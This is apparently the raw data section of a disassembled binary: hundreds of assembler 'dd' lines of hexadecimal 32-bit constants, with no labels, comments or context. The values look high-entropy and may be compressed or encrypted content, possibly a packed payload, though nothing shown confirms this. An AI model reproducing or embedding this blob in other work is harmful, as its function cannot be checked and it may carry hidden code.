		dd 0A9CF6068h, 1774D44Ch, 0D0396900h, 0CA166693h, 8CDE48F5h
		dd 0BE3D0980h, 709088BBh, 0C91FF000h, 0D2177168h, 0B89D006Bh
		dd 2914FB7Fh, 0A600DD21h, 0FA88674Ch, 320C2BFh,	0E864547Bh
		dd 800024E2h, 0A4DFD44Ah, 50D0CBBh, 0F377A2E7h,	7BC8008Ch
		dd 49102B53h, 0A700B7EEh, 7992EBF5h, 0F330851h,	63774F3Eh
		dd 0AB8ED849h, 0E8FF120h, 0F3160523h, 2800595Ah, 0A2D9FE3Fh
		dd 0A5B70008h, 4714A722h, 6428332Eh, 520FA48Ch,	40A3B40Ah
		dd 0F25ACF98h, 3C5C7EEDh, 7502B7ABh, 0B48A0B2h,	0C790A8h
		dd 0CB431BF4h, 0F0001E38h, 2C42A853h, 0FE27646h, 4C4E72B9h
		dd 62F5DCE0h, 6B0C0637h, 905815A6h, 27C50F22h, 64D4889Fh
		dd 0E3FBE900h, 41E8F3D6h, 2582C800h, 17C18C9Bh,	388B000Dh
		dd 0F676F60h, 360004F8h, 0AB8D3B46h, 0C0969CC7h, 0B2C9298h
		dd 0E6017B0Dh, 5A167E40h, 3BEDAFEEh, 148F6D4h, 105B63CFh
		dd 8089ACA8h, 1E58539Ah, 7B31A46h, 0BD067478h, 0B43A4Bh
		dd 0C9FC3237h, 77057B79h, 475787EFh, 96467040h,	0FACE844Fh
		dd 78FEF6B4h, 137300C2h, 0BCFC0355h, 60FED5E1h,	0A00E801Dh
		dd 0BD4BEC40h, 0A47841Bh, 7A8EF729h, 0C6E90E94h, 0D28CC560h
		dd 8A01D69Ch, 6180593Dh, 0F0705A43h, 36B0C8h, 233AE03Fh
		dd 1FF8AC3Ch, 7C2E8A0Eh, 0A927A06Ch, 1742972Fh,	1DADCEDEh
		dd 0DADF02FDh, 90C4D382h, 46CB7C00h, 0A1F85743h, 0AF01001Ah
		dd 31A32DC1h, 0F7005BA8h, 9DD4634h, 593A17h, 7207116Eh
		dd 93664244h, 5E4CE400h, 0B2F7CDFh, 0C978D4h, 5950F736h
		dd 0E016213Dh, 53AD0F00h, 1511FEACh, 25C007F3h,	0D05EB2B8h
		dd 0EC1E764Fh, 0C7461028h, 3BBF3509h, 0B1ED0064h
		dd 0B79E7Bh, 504BF532h,	6E959A74h, 0D4C3CC00h, 38EC536Dh
		dd 8B1300CDh, 11F5A8C2h, 0A6036128h, 33EAFF97h,	682BB807h
		dd 0D3E26Ch, 5650A0B5h,	0DD9C1A90h, 0C2FFA700h,	446E85AFh
		dd 0B682009Eh, 26F206DCh, 0A002026Bh, 3677C215h, 982CE08Ah
		dd 2C20E5B4h, 3C2F52A1h, 0B5D1F704h, 8F1E80D3h,	0E6F27CB7h
		dd 0CC0DE400h, 8B22B8C4h, 0ED341756h, 9CB40266h, 60E0A0ABh
		dd 0B40F362Ah, 0A0D7CBBEh, 0C8CD48DEh, 22020338h, 166B1CD8h
		dd 4E24C7D8h, 39AA0C3Fh, 90D98F05h, 93BDC046h, 0D56EA7h
		dd 0B565F7A1h, 0E4D694C4h, 0B22DE900h, 91BA4199h, 0F64B034Fh
		dd 95059C50h, 877502F0h, 0FAD43700h, 79C30E09h,	0D1FB09ADh
		dd 0E80F8B4Ch, 0C5AAF1E0h, 5558DE12h, 734800ACh, 0FEA35DCBh
		dd 6CFC0188h, 6FAEA933h, 0F1D7F451h, 0EA7439h, 0C68FE96h
		dd 1C679A30h, 446D5EB0h, 0C0A72089h, 0BA0FDE2Ch, 0EBD2E00h
		dd 3D4E09E3h, 7B89069h,	6B59F15Bh, 0CA6E6E5Ch, 0CBA3E801h
		dd 2245D101h, 3A4E00E4h, 0B1DFD029h, 4C9C05FDh,	8066AB53h
		dd 88BD0DE3h, 8F8B3900h, 892AAC81h, 0E95D246Ch,	0E9100E1h
		dd 3FBDF0A9h, 0BB30781Dh, 9B659700h, 516E03h, 0DA1EC5CBh
		dd 1291A246h, 0B99E3300h, 72525995h, 254F1780h,	606200B3h
		dd 7382EA68h, 0BB010C03h, 0E0FC4DA5h, 0B270BD3Fh, 75FF03Ch
		dd 0D19B89DEh, 178BF1FDh, 29BC2060h, 34162205h,	9A8719EAh
		dd 0F77A6710h, 95613893h, 0C9AD0A80h, 196D79BEh, 91FD4502h
		dd 61F7D1CAh, 32E4D09Ch, 4E400AEh, 0CC765C6Ah, 0D417E082h
		dd 0F103AD40h, 0F8D3D226h, 767E574Ah, 73843CA9h, 496D6412h
		dd 6708EFFCh, 9013CF4h,	0A2FB0D19h, 9C27D0ACh, 701B73Eh
		dd 0FF0C14A3h, 9018C8C1h, 0E5603884h, 0C21218Dh, 0D001FE08h
		dd 42061047h, 48F4C1F3h, 0BE414895h, 209EE601h,	0F3498D57h
		dd 0FFB09D83h, 0C600E588h, 7BCEDBA0h, 0A90F347h, 610AB035h
		dd 327C0054h, 5A7A8845h, 89CC9F14h, 0EA8D0044h,	8AB5CDE1h
		dd 0E4D02404h, 11630193h, 0E092D439h, 843FD72Dh, 6EA8996Fh
		dd 9FC44D51h, 0B0151EA3h, 0DC1D55h, 8F2DE853h, 95007303h
		dd 76241094h, 40342Fh, 2CDA570Ah, 6175910Eh, 0FF77AAC0h
		dd 9C1C98h, 8B93BF02h, 5406A74Fh, 0FAA45C00h, 0E8C4F9B0h
		dd 0C61200A9h, 8038C2DAh, 5C006C14h, 8C24C17Dh,	0E8D9F1h
		dd 0EEEF1AF5h, 74EB6F9Fh, 0B30051E8h, 0AF557027h, 0C500DECh
		dd 1D05310h, 22867C1h, 24188036h, 3982BE0h, 0B89E634Ch
		dd 3FF0076Dh, 53016722h, 0F3615E0Ah, 2988316Fh,	4D849FA0h
		dd 5F08265Dh, 29374C42h, 7A29860Ch, 453B6044h, 1234E901h
		dd 547C1098h, 104779CEh, 9690716h, 3B80F19Ah, 403E1045h
		dd 222CF800h, 554E0F3h,	0FE800014h, 0A6CA9793h,	200379Bh
		dd 0FD5892CBh, 0F37FE8h, 0EE406EBh, 0F13072BFh,	0A9B73201h
		dd 6BD0C884h, 33876C0h,	36D8CE83h, 0AFA0F7AAh, 0AB3886ACh
		dd 6E560E39h, 0C6BDE0E9h, 6FCECAh, 4E5AF19Dh, 822141BCh
		dd 1C061F07h, 0EFE35419h, 0E8A893FBh, 516630h, 2A3F0163h
		dd 0B39FE8D7h, 54A18D00h, 487DA26Dh, 1DFF2AC4h,	712900CCh
		dd 0B506CE82h, 6807CF2Eh, 0E5E17799h, 0ACD5C3C0h, 0A8AF4E40h
		dd 1D5A00E9h, 0DA729BC2h, 90330328h, 0B2FC3764h, 0BF5055C8h
		dd 80A5473Dh, 0B7C894B3h, 1FC05111h, 180F911Dh,	75467002h
		dd 0E175B00h, 80B5FA8Fh, 0CB590E79h, 0FF41DD29h, 0D8A3384Dh
		dd 3B165AE4h, 43028924h, 0C06E57ABh, 2BDE12Dh, 88E4EDC3h
		dd 90B0C891h, 430030DAh, 4CA5B98Ah, 0D33AD5h, 0BB900BF6h
		dd 0D6EC2A93h, 1FFB5A1Fh, 0FFFAC3C0h, 0DE307Dh,	6B64581Ch
		dd 0B5B2537Bh, 40B9C814h, 0A9160080h, 522C4277h, 0FC600DFh
		dd 1DCD2785h, 0CBEAB906h, 0CB1A600h, 9035ED6Ah,	1418078Ah
		dd 0F36FD443h, 0C7C89EC2h, 9A163877h, 0CCE0B3B2h, 0FEB714ADh
		dd 75738812h, 0B51D004Ah, 0CB244548h, 0E10031A2h, 6559036Fh
		dd 36CA1A3h, 0EC4DFA85h, 0CD89FDEh, 2DE4395Bh, 805F903Dh
		dd 8CFDD258h, 1377A82h,	0FE6AA923h, 0C834E1F3h,	43012F4Ch
		dd 0D158AF81h, 89DC8F56h, 0DD2200A3h, 6FCBF50Ah, 0FC0032EAh
		dd 1C9A7B66h, 71C864AAh, 40901Ah, 0F64DA9E0h, 0AF90B1Bh
		dd 552BB300h, 0DA190471h, 0A89868h, 384FE120h, 56AF483Eh
		dd 4C0096B0h, 0AB8F3686h, 6DF73h, 0D13A7D26h, 2DE1687Fh
		dd 5E56650Eh, 55A540DCh, 56D9136h, 0A25DBCE5h, 2BF80FB1h
		dd 0EA9813E0h, 121BE822h, 0A35A9707h, 77203DCFh, 9CE71Fh
		dd 1302303Eh, 0CB00F8D8h, 48902778h, 0F9E717Ah,	0C2145DC0h
		dd 6E204C07h, 0B6CEC740h, 8C071004h, 3DBAF5BBh,	80A32400h
		dd 0C17800A0h, 0DEC740AAh, 11FE4F9h, 0B903F3EEh, 740E5D91h
		dd 7577F0h, 0FECC8EB6h,	0D2B29DE3h, 0FDB9FF00h,	5FAC26DBh
		dd 0B44B00FAh, 0F0AEED90h, 0C9398D6Dh, 7AD8808Ah, 4FDA4359h
		dd 0C3A80B56h, 12001F19h, 54952C68h, 48D87100h,	277EE421h
		dd 0A8D270E0h, 1D38DB0h, 55336651h, 0D8C3BA5Bh,	1B18696Bh
		dd 0A1BC2612h, 0D420F33Fh, 91770056h, 9D044DB1h, 2E26870Dh
		dd 0BE0FC090h, 1AB2A1ACh, 982005A8h, 34A90076h,	58D888E5h
		dd 380471CBh, 0AA734B03h, 0D7898480h, 0DCCF002Ch, 1B25090Bh
		dd 0EF000AC2h, 352FDF60h, 7F3AA8Ch, 6898319Dh, 85C35051h
		dd 621622F5h, 491E6h, 30C82D5Dh, 90367A89h, 43B000E4h
		dd 0A74A4420h, 740F1D11h, 0A0299EB6h, 0F2DA1470h, 6D7B001Bh
		dd 0FD5D6EA9h, 0FE011AD2h, 0C3A7335Bh, 3030B5DFh, 0FBB8202Ah
		dd 10FEE5B0h, 0CE4E1701h, 788794D1h, 243D9CD0h,	1CAA21h
		dd 7C2C79FDh, 0CF00D94Dh, 0E85B6765h, 1F190CD2h, 0C06B4012h
		dd 0F85275DDh, 0E301CE7Eh, 9B9AB962h, 0E3603EAFh, 0E7442F3Fh
		dd 56665140h, 19295A00h, 0CE2DA979h, 6D01C12h, 0A7C7C0FBh
		dd 39DBED91h, 21367400h, 90BAC6B4h, 0EC3A1E22h,	0A28ECE15h
		dd 4F4D4A21h, 780FD87Ch, 0D3602126h, 2CD3023Ah,	430D1139h
		dd 7E2AA03Ch, 90F478h, 765A9BAAh, 0D18EBE5Eh, 20DD2700h
		dd 880AC7B3h, 0F95916C9h, 0F2E90794h, 0BB84804Dh, 260970EBh
		dd 18D1096h, 72A6935Eh,	2D13C20h, 45D852C0h, 60DFB340h
		dd 2223648h, 0BC8D4C35h, 79E02746h, 19076B11h, 64BBE23h
		dd 2F8BC270h, 0F8F60042h, 88C9530Ch, 0D1049CAFh, 0FA0AA4D3h
		dd 57A0480h, 91B000FBh,	31A1717Ch, 0A2004EB7h, 2D53547Fh
		dd 2C9ECE4h, 77A66B0h, 0A0807D9Dh, 0E39C68E1h, 79160901h
		dd 0F8B8231Ah, 0A2332880h, 7D68D69Dh, 0B61C0C1Ah, 42218019h
		dd 3BE8B43h, 3B2B0E6Bh,	5AC1315Bh, 107070D6h, 5EF0C906h
		dd 3E8880F5h, 0E503ED21h, 0E628BE14h, 579B2398h, 42ADF612h
		dd 0EC20F00h, 0D62C834h, 9F120211h, 0C5D3F438h,	8A819512h
		dd 7F909C03h, 1E42D086h, 62ED09BEh, 93878F07h, 4C6049B4h
		dd 0B0A4DEDAh, 0B0B7E21Ch, 1C3EF480h, 1571FB9h,	0E17B2861h
		dd 0C75EC3CDh, 7797EA0h, 0A977FA02h, 40125C85h,	0E27C60h
		dd 11D64BC4h, 351C1592h, 0C007C8E8h, 9E241749h,	0D906730h
		dd 0CC4B1216h, 0CFC00E8Eh, 0C39BE160h, 3A008F31h, 5E9A3C17h
		dd 38A51F6Ah, 0C5007F11h, 4FE964B1h, 0C600ECDCh, 0E58F756Fh
		dd 0FC12668h, 80871E04h, 49C8A6A0h, 2A01A12Fh, 8D1CDF15h
		dd 0FF0ED58h, 0DB0600A9h, 0F9DC761Fh, 0BF00E8BDh, 0AA5F7317h
		dd 5FD9829h, 1C224580h
		dd 0F880AB4Ch, 3C6CCB8h, 0C3B2F56Eh, 1980CFAAh,	0D400B484h
		dd 0A509F0D6h, 0B0310C05h, 0A4960953h, 5C802737h, 9F5F6DB2h
		dd 43FAABE2h, 12A5ED00h, 46F16C3Eh, 917C26C6h, 803B1266h
		dd 61904FFCh, 0B032932Eh, 0A8E93700h, 0CE8277E2h, 40F35521h
		dd 5E966FB4h, 0F017FBFEh, 6F03B905h, 0B87F39B8h, 245752h
		dd 1DD906A8h, 0D1E7EA48h, 1ABEE812h, 893EB200h,	0C392BCh
		dd 0E933FB0Eh, 876B7360h, 58398F00h, 0F8C1D7FAh, 80B8D0h
		dd 7B9F0AFBh, 0D871D19h, 50F6BEB0h, 1B13B901h, 42922A6Bh
		dd 82F424h, 3A7CE28Ah, 77FFBA9Ah, 0F91BE0C0h, 96615Ah
		dd 0AD3BE023h, 1F4A3EC1h, 0E7702FB0h, 8505D0F6h, 0EEC92144h
		dd 0B8A84F0h, 0D7A6BD3h, 16C47280h, 0A6023482h,	0E2833D30h
		dd 68F9E05Dh, 0ACB660DDh, 33148BFh, 4C70F300h, 3A7F6D45h
		dd 7EA500D9h, 0F22F0295h, 2E738508h, 0E90CF900h, 7AA1F29h
		dd 24A33026h, 0CBEE7748h, 844E3500h, 0FBE5A591h, 0CC2B001Ah
		dd 4B8040A0h, 0F07FE2E3h, 0AACBF102h, 0C18C535Ah, 0C4D0EC9Bh
		dd 0F4DE4DA0h, 8BDF3F74h, 833C9192h, 5200F7C0h,	0C7B0D74Bh
		dd 0E5B5EAh, 50D9E6E7h,	732485E4h, 125E93Fh, 79BBA48Dh
		dd 18FCF4BAh, 133417D8h, 0FF9C420Eh, 0B8C61281h, 5D0C1E7Bh
		dd 708AB173h, 99AB003Fh, 0D8FC12Dh, 19590A67h, 80C93B2Ch
		dd 61AD261Eh, 1AB0F1Fh,	29852BE5h, 70BE9811h, 8C3AFFD4h
		dd 6920816Fh, 43071939h, 8AD0A1C7h, 2E00D03Ch, 5D040C47h
		dd 4E00428Eh, 0B34B6FFh, 0A5EC67h, 0ACCAAB7Ah, 0F510C397h
		dd 0A6C6780Ch, 3A1A80ADh, 2CA8B6E7h, 0D7901EACh, 0CE807A4Eh
		dd 0ED307C6Bh, 260444CAh, 0B8FA2A36h, 5A898h, 0F2CFB52Fh
		dd 9E6AE3D2h, 0D0A19903h, 1ED3B6ECh, 0FD381D30h, 839A1B02h
		dd 0C4806FE0h, 0B73D8EF2h, 7900D8F8h, 56DA8F20h, 0C72F7DD1h
		dd 70FD6889h, 76291530h, 89401807h, 0D0856474h,	2E839C40h
		dd 0F0AD5Bh, 6F637CA9h,	0B523DF7Fh, 7873A30Bh, 6BF480DBh
		dd 26F618A1h, 8AA8D529h, 8084ABF0h, 7D8F5AD2h, 0CD00943Ah
		dd 2234DB09h, 3C57BBh, 0A272E7C6h, 13950BCFh, 0FDEDC800h
		dd 0D02C84D1h, 0B0160C4Eh, 8CF09D8Eh, 0B8000C4Eh, 0CBAA7421h
		dd 5880F576h, 0F8E55266h, 5D18B2BAh, 8D19C228h,	0EE0B0E0Ah
		dd 0CC60704Eh, 4AD473AEh, 0D8B44Ch, 936E5855h, 57E87Dh
		dd 4E123A8Ah, 70602EE4h, 20531730h, 1B878C7h, 0CC6DAE8Ch
		dd 708A37C1h, 5700AF2Bh, 41075AAh, 3EF91Ch, 1DE45F9Eh
		dd 0FE61B9DCh, 5457AC00h, 19DD594Dh, 5E7D0064h,	90DA9EF9h
		dd 9D002A6Dh, 406F8F17h, 1D1E3FDh, 100D9B1Ch, 64E2CC1Ah
		dd 489CD40Ch, 0AEF27400h, 6019DECBh, 0F3389AE1h, 0A00D5D2h
		dd 888A4BA8h, 133463Ah,	9FE01144h, 215787D0h, 0C574F850h
		dd 0AC98F7F2h, 0ABE4130Eh, 3865E112h, 7A206B36h, 2BA90025h
		dd 47119B60h, 0E8006E0Dh, 3F81E495h, 80D3F3h, 901215DFh
		dd 0DD3C83C3h, 0F63DF800h, 13EFAB1Bh, 0B17123h,	1CC00C60h
		dd 0E4C787C2h, 2E2A8460h, 0BCE3B40Dh, 75D101E8h, 242659F7h
		dd 0AFF49A30h, 56FBD600h, 9EF1A38h, 0BCCB01F5h,	0B3FDD47Ah
		dd 775C3879h, 9992AC1Fh, 17632901h, 18879CA8h, 0D0518A36h
		dd 911DBA6Ah, 689CA0ECh, 50E5010h, 0CC217B14h, 0C0EEE20Dh
		dd 220192FFh, 9F5D7106h, 0C143E04Ah, 5C84CD69h,	4914E800h
		dd 0A5AD82h, 97A979E7h,	251A4473h, 0B220E900h, 6FC0DEC4h
		dd 0BDA40082h, 0C2D1E89Ah, 0E9008AD7h, 0B2C4E17Fh, 8679DAh
		dd 0ACCF8EDh, 0FF71CAF1h, 0A3426500h, 0FBE4254Fh, 1AC800E9h
		dd 99AD3FDEh, 0F10045F3h, 0BFCBF81Fh, 1B0271h, 3A0F0A0Ch
		dd 3B1EAAEFh, 0EC896301h, 0A681EEC3h, 5AD2B835h, 0DDC4008Ch
		dd 9D15FD0h, 0BF3913FCh, 1DB60F2Ah, 114E6045h, 8492C5h
		dd 8DAFEB9Ch, 4453063Fh, 5C2BB100h, 8C1351A8h, 0A78626BBh
		dd 7A1700B8h, 0AAB5E02Ah, 0A1EB3700h, 0AE8793EEh, 26D80407h
		dd 0B05AC988h, 0C094D54h, 6CB72364h, 372EE88h, 0F9EE5ADCh
		dd 30986E87h, 7D0B68CAh, 3C79A2Bh, 0D48A44BFh, 0F62014F0h
		dd 0EBB600F0h, 0F94E41D2h, 0AB001324h, 3B7F3A89h, 0C61148h
		dd 91B8E15Dh, 0D9EBF91Dh, 9841A602h, 0E01B2461h, 393D3C14h
		dd 34C9E612h, 499AAD00h, 0B9A03F02h, 8A982400h,	274E208Eh
		dd 0FBD700D2h, 53A9DAEFh, 30E6D1F5h, 28C47600h,	0B132E0F9h
		dd 61330024h, 0A802938Ch, 8700C03Fh, 364E514Dh,	9C2F27h
		dd 0BC679231h, 2D1BF535h, 6E009DE4h, 3C56696Ch,	18E1823Eh
		dd 204D8324h, 0C201B5D7h, 4CE01E6Bh, 6EE0C025h,	0A3C40048h
		dd 7D6ABBD4h, 5AE03EE4h, 0F000945Bh, 0CF3A1B5Ch, 0A8A702E6h
		dd 0E430068Ah, 55411A60h, 9C7E48h, 771AC4F3h, 2C350EEBh
		dd 481B6Fh, 0F0D0B39Fh,	0FA000D16h, 3A3CA654h, 0F6745992h
		dd 1A8F4CB8h, 0C077F41Dh, 235FE71Fh, 0F731AE22h, 0E589789Bh
		dd 9124870h, 0A2368003h, 16D01820h, 0B2A6542h, 0BC02B418h
		dd 3CAD9D66h, 90F87885h, 868D2753h, 372A1C80h, 0E100C82Bh
		dd 0DD21F43Eh, 983A32A3h, 0FBCF4D8h, 93FDE5AAh,	366AF3A0h
		dd 8B007387h, 0D3A53716h, 236D5Fh, 0D29A39FDh, 0BF4776B5h
		dd 0A2E97B00h, 1183F780h, 0B9460FEDh, 0FEA0FDFAh, 6E510D7Eh
		dd 937F1202h, 80A2882Bh, 0FB48DA94h, 0E64E0E13h, 8BA04B07h
		dd 6FDFD764h, 0A6003476h, 0B8FCE8A0h, 2F2A97h, 0DC2B7F24h
		dd 3806B907h, 2C89A900h, 0B331DA8Dh, 64170071h,	0E9D2A574h
		dd 0E0051A6Ch, 0DD234462h, 2BC9680h, 0DF580057h, 73D06928h
		dd 6400860Eh, 8E2430FAh, 2BD819h, 0DF7EB102h, 5D9BEAA7h
		dd 0B9E6C700h, 0E7736676h, 31E76C0h, 70D68182h,	0A0906EF4h
		dd 3807850Fh, 3F45102Dh, 0FBE69F40h, 0D5BA07CCh, 60948A15h
		dd 0D824D330h, 415ACD00h, 4F7CE983h, 5B85Ch, 0FD674E3h
		dd 0C9EE089Dh, 8876F600h, 79441FA9h, 0A7500342h, 4E7C4C23h
		dd 1B7311B0h, 232CD38h,	890CDF46h, 0F0F540FFh, 61395C8Bh
		dd 5EA1CE0Eh, 4183407Eh, 78FE9DC9h, 0B0492A00h,	685A170Eh
		dd 92471DB8h, 98E080EEh, 27D84E8Dh, 0C1C0C0DCh,	9E488976h
		dd 66F0002Bh, 87884ADDh, 4B0021CFh, 9DAC7E06h, 0B9657Fh
		dd 0FAF492E6h, 287B0F0Ch, 2D2AB03h, 0A1821FA6h,	19608E6Ch
		dd 1A2D00BFh, 0BB9D9F32h, 0ED0017C2h, 0D6A955E7h, 7486F9h
		dd 99DEDC2Ah, 22570E61h, 33AA3402h, 400CF6D5h, 70918E8h
		dd 0FCB36951h, 0DF3FA0C9h, 0E83D77D9h, 85700D3h, 0A4178723h
		dd 0B5F804D2h, 8F6BE0E7h, 39D1A200h, 2429FC6Dh,	50ED8403h
		dd 0D03323C4h, 0DEF7E4h, 0FDCCEB58h, 2CE30A6Bh,	0C6AC4300h
		dd 7724C793h, 14B10021h, 71D3EE13h, 0F8E91841h,	550F4F36h
		dd 0A079C5C0h, 40073C30h, 0BE960023h, 4619A837h, 0D90042FEh
		dd 41E0F588h, 7F775154h, 152600D6h, 1225E391h, 970C3414h
		dd 0C8E4C1BBh, 841A003Dh, 651BADC6h, 5800DCF9h,	0A9591C9h
		dd 21623h, 5AAA5EA0h, 0CB57EA69h, 84467F01h, 0BC9A8212h
		dd 0E233C8h, 0C724DAEBh, 0D7F6C401h, 19EAEC60h,	15BCE32h
		dd 0D8E94EA8h, 70108697h, 0AB7F6DD5h, 8089553Eh, 6ED13FF5h
		dd 32E17Dh, 2A995470h, 64B3B9E5h, 1F30150Fh, 4118061h
		dd 7D5DAEh, 0E6E544BEh,	0B237B5CBh, 81F09F01h, 0B379C9BDh
		dd 0A5C0ECh, 6504EA9Ah,	6934B2D6h, 22C38000h, 941AFDC6h
		dd 91A80041h, 245357Ah
		dd 0B2008167h, 63168858h, 0E9B8E8h, 4BAA38DCh, 6940240Fh
		dd 3071E513h, 7F606C18h, 456E58BCh, 80C6471Ch, 5BFEDF18h
		dd 0AA0757C8h, 0A653AEC0h, 3160483h, 33A76B11h,	0DEF8C7DCh
		dd 1401788Fh, 2FE25654h, 0A7E00B83h, 0C7BFE240h, 10CE3E61h
		dd 4EA61BAEh, 0C628F6B8h, 42C0FA56h, 0E82CB37Fh, 4E20020h
		dd 0A76801FBh, 1C0AAF30h, 84928547h, 0C5FDF887h, 60A02896h
		dd 78FAA866h, 24A079E4h, 927B8AE6h, 5807C67Bh, 0F8834845h
		dd 40885AC2h, 0C5A526h,	0AF65B878h, 1AB4D5BFh, 0D42EF800h
		dd 0B262A65Bh, 0EA8C0FE8h, 5C40E56Ch, 2A55F30Ah, 0F500C476h
		dd 0D4892BFh, 0EE2FCECh, 0F91B99D9h, 0E9663D20h, 0B00502FBh
		dd 71DDA9C0h, 7A431480h, 9F860028h, 34054E14h, 0FF00C727h
		dd 12C1742h, 18C353FCh,	0C1515B95h, 39012DABh, 20502F11h
		dd 30C344BFh, 9121BD08h, 0E4003935h, 193F2DE3h,	0EA4D73A1h
		dd 0EC1689C4h, 8600F1F9h, 0CB793CC1h, 3E2F51h, 523D354Bh
		dd 549BC050h, 80C4FA7Ah, 3490C821h, 0D91345h, 0E022EF75h
		dd 0DD6C67EBh, 0E8CF5012h, 0CB4E9D01h, 2081C52Ch, 77F7B7B3h
		dd 209CDA2Eh, 0DC437E7Dh, 9785FA3Bh, 2082C34Ch,	10392C78h
		dd 11582F23h, 349001C8h, 1D659D39h, 0B0DFCDF1h,	11CBB83h
		dd 0AAC5447Bh, 24BEAC3Dh, 0FF005334h, 0EEE5618Eh, 663C80E7h
		dd 216B0806h, 8ED77C00h, 0CA5328D2h, 0E6B400FDh, 0AA61A58Fh
		dd 620D86C2h, 0D0840C47h, 37280C20h, 8988C1D2h,	0AFFB880h
		dd 60908878h, 747E4D48h, 131E860h, 72AFE83h, 276A524Fh
		dd 0C9CA141h, 1A9840EEh, 64922940h, 20F24C1Bh, 0EAABA920h
		dd 0BC054710h, 3E97FF80h, 0A0C9DA3Dh, 2B39103h,	41008ADBh
		dd 2D11121Fh, 5CA633AFh, 86617C7h, 0C400212Ah, 991D1115h
		dd 1CF51A65h, 38BC5BA4h, 0AC2D6315h, 643DCB00h,	0A6B6099Dh
		dd 68720B48h, 0D41138C8h, 2B111480h, 448C23AFh,	2F00C642h
		dd 0F6615611h, 24A2EDB8h, 5E6C4C7Ch, 8400C346h,	5CD5FE9Ah
		dd 0B00DE1Ch, 637CE5A4h, 0DE04BE3h, 0C3386222h,	0AF01DCC1h
		dd 0B9E6D230h, 0ACCFABh, 36BF59FAh, 1A3562DEh, 45D8A118h
		dd 0B603A9h, 0F85A9AD1h, 1167981Fh, 62BE7901h, 0F9AA23C2h
		dd 450CF30h, 6433E15Eh,	86085C0h, 5EC02D04h, 217803FFh
		dd 0E60D870h, 0D0FE76h,	54F46DF2h, 0CA4B094Fh, 0AC88BF29h
		dd 0F0192A79h, 0EA00356Eh, 3C4D4DCh, 444432C1h,	0EB034CB9h
		dd 0ED5D5B08h, 0D3A03D6h, 0C476450Ah, 0C44D2029h, 6C60AC7Bh
		dd 650E3257h, 4002CE27h, 0D125FA34h, 2BAF00DCh,	5D113C82h
		dd 0D2372904h, 760F9CAh, 318CE041h, 6F787932h, 722B0C44h
		dd 912F7039h, 330BC000h, 0A83A1439h, 2CD29D45h,	1DD6DB40h
		dd 16E1C3B0h, 20A9FA6Ah, 7A75E328h, 0A7942554h,	31196160h
		dd 7AE12857h, 9DDA0084h, 49F5025Dh, 0D830B6DBh,	0F8583124h
		dd 0FA70190h, 537C52B5h, 0C4CAE954h, 3301FC11h,	0EC764CD1h
		dd 6423E34Dh, 6330C2A2h, 0EFA61D60h, 471DBDD9h,	0BAE783BCh
		dd 29005044h, 34F2370Fh, 0FC5EA70Dh, 721007Dh, 93C8D7A6h
		dd 3380C567h, 0F411885h, 0EDD8E16Fh, 0E8EFF700h, 0B6076DD1h
		dd 27660005h, 0A9102E7Ah, 0D5034CAAh, 781A6412h, 3F15B86h
		dd 0FCE89A4h, 0B78C66A0h, 0E509F178h, 23C52294h, 0B10A406Ch
		dd 1180DA17h, 1842BAC0h, 0D70554EBh, 0ED1A66FAh, 0EC68880Ah
		dd 163956C0h, 2228462Fh, 3EA60F60h, 9E002A39h, 0AD2ED986h
		dd 0DB468490h, 36112B02h, 23313BAFh, 1122BF10h,	0F114C600h
		dd 5A128051h, 0F3E151Bh, 0D1008C64h, 3FD9A240h,	0C700B07Eh
		dd 4CC384B5h, 90CC45F8h, 40EB0050h, 0AC200BEFh,	22006218h
		dd 39DA6982h, 21C61BCh,	0F25FCBFDh, 33C04A8Ch, 3F0643E7h
		dd 0B24175DBh, 0D8D00189h, 0E64C1305h, 620EE0DFh, 342A81C2h
		dd 8943C040h, 29100CDh,	325410F3h, 1D4C4DB1h, 456381ECh
		dd 306286BFh, 5F002C23h, 6878FEFFh, 354486D8h, 777F0Dh
		dd 0BE21BA9Ah, 93011C95h, 32446D0Bh, 0F86C88F7h, 1DB55F40h
		dd 603B88Dh, 0F20F2C0Dh, 622AA8A9h, 0CB018844h,	48D5464Dh
		dd 0B6EF36B2h, 421A1919h, 20854993h, 0A72860F4h, 7921FC14h
		dd 3929815Bh, 63302F15h, 310580DCh, 0DDCA39h, 89954FA4h
		dd 712C8E17h, 7BE1D500h, 3E7DF486h, 1DE605DFh, 8C034763h
		dd 28C23BCh, 7801FE7Ch,	1619DEC0h, 0FF740017h, 520186A2h
		dd 8EB8975Bh, 8980AD44h, 0E25E3D47h, 89399333h,	0FB2B1FF6h
		dd 0B09C7214h, 5BD4F06h, 0F3693F5Eh, 0C800CB59h, 1664C0EBh
		dd 0A2003437h, 1E619658h, 362A92h, 0C6F088D6h, 0F8BB3D91h
		dd 94807126h, 0C9813803h, 508800F2h, 4FC7B74Bh,	0B8005462h
		dd 3D6341BFh, 7BCE04Ah,	7C80DE9Eh, 54A9A046h, 0E1757ECBh
		dd 0E2EC9200h, 0F08DA478h, 253A0395h, 6BCC5EEh,	46A026ABh
		dd 0B701D814h, 72115E36h, 2EF039C7h, 55CE00C1h,	91CABB5Dh
		dd 9D074F17h, 0F7BFD3C5h, 25B6E110h, 0F7C00A7h,	94B2DD48h
		dd 5B070AB5h, 0F5BB9263h, 8589A0A0h, 6D8F017Dh,	4250F224h
		dd 0EF808030h, 0AAE54520h, 7DEC9Ah, 0CD5B4C22h,	5F4D7B55h
		dd 71091104h, 0CC6A9E2h, 30A340C0h, 1EB13E40h, 805C44E4h
		dd 0FD4811B0h, 9E8ADA2h, 9DB70A00h, 645D50CEh, 0F27E03Eh
		dd 0D6962CE3h, 82C92A00h, 330048F7h, 0E2E1EA63h, 3E36B859h
		dd 7C8095F5h, 0BB91DC4Dh, 0F001215h, 4B06CB3Bh,	0E187DAh
		dd 6848CA2Eh, 0AAB3376Ch, 0B1242900h, 89C0CDFCh, 81820C94h
		dd 941BCC6h, 1D16600h, 0E926C527h, 65200CAh, 0E4D8A54Eh
		dd 27D0D4Ah, 0ABB9603h,	912C395Ch, 0A0405925h, 188C12ADh
		dd 0C0033358h, 0D9718DD2h, 0E01C34Ch, 422F72EAh, 80B21F21h
		dd 0D4DA9C80h, 0F1FC0093h, 2D340B7Eh, 0BB3ED958h, 433A9F3Fh
		dd 3E756607h, 60F8F481h, 99D07DC5h, 28AF1E58h, 42C580E4h
		dd 74E36F41h, 248EA916h, 0C17AC900h, 7CF148E2h,	8540C097h
		dd 314A2CA0h, 0B62A7001h, 88FF838Eh, 0F40A4A8h,	1C98E009h
		dd 66B74C20h, 0F3009DFCh, 22F8C928h, 5DCE04h, 236CA45Fh
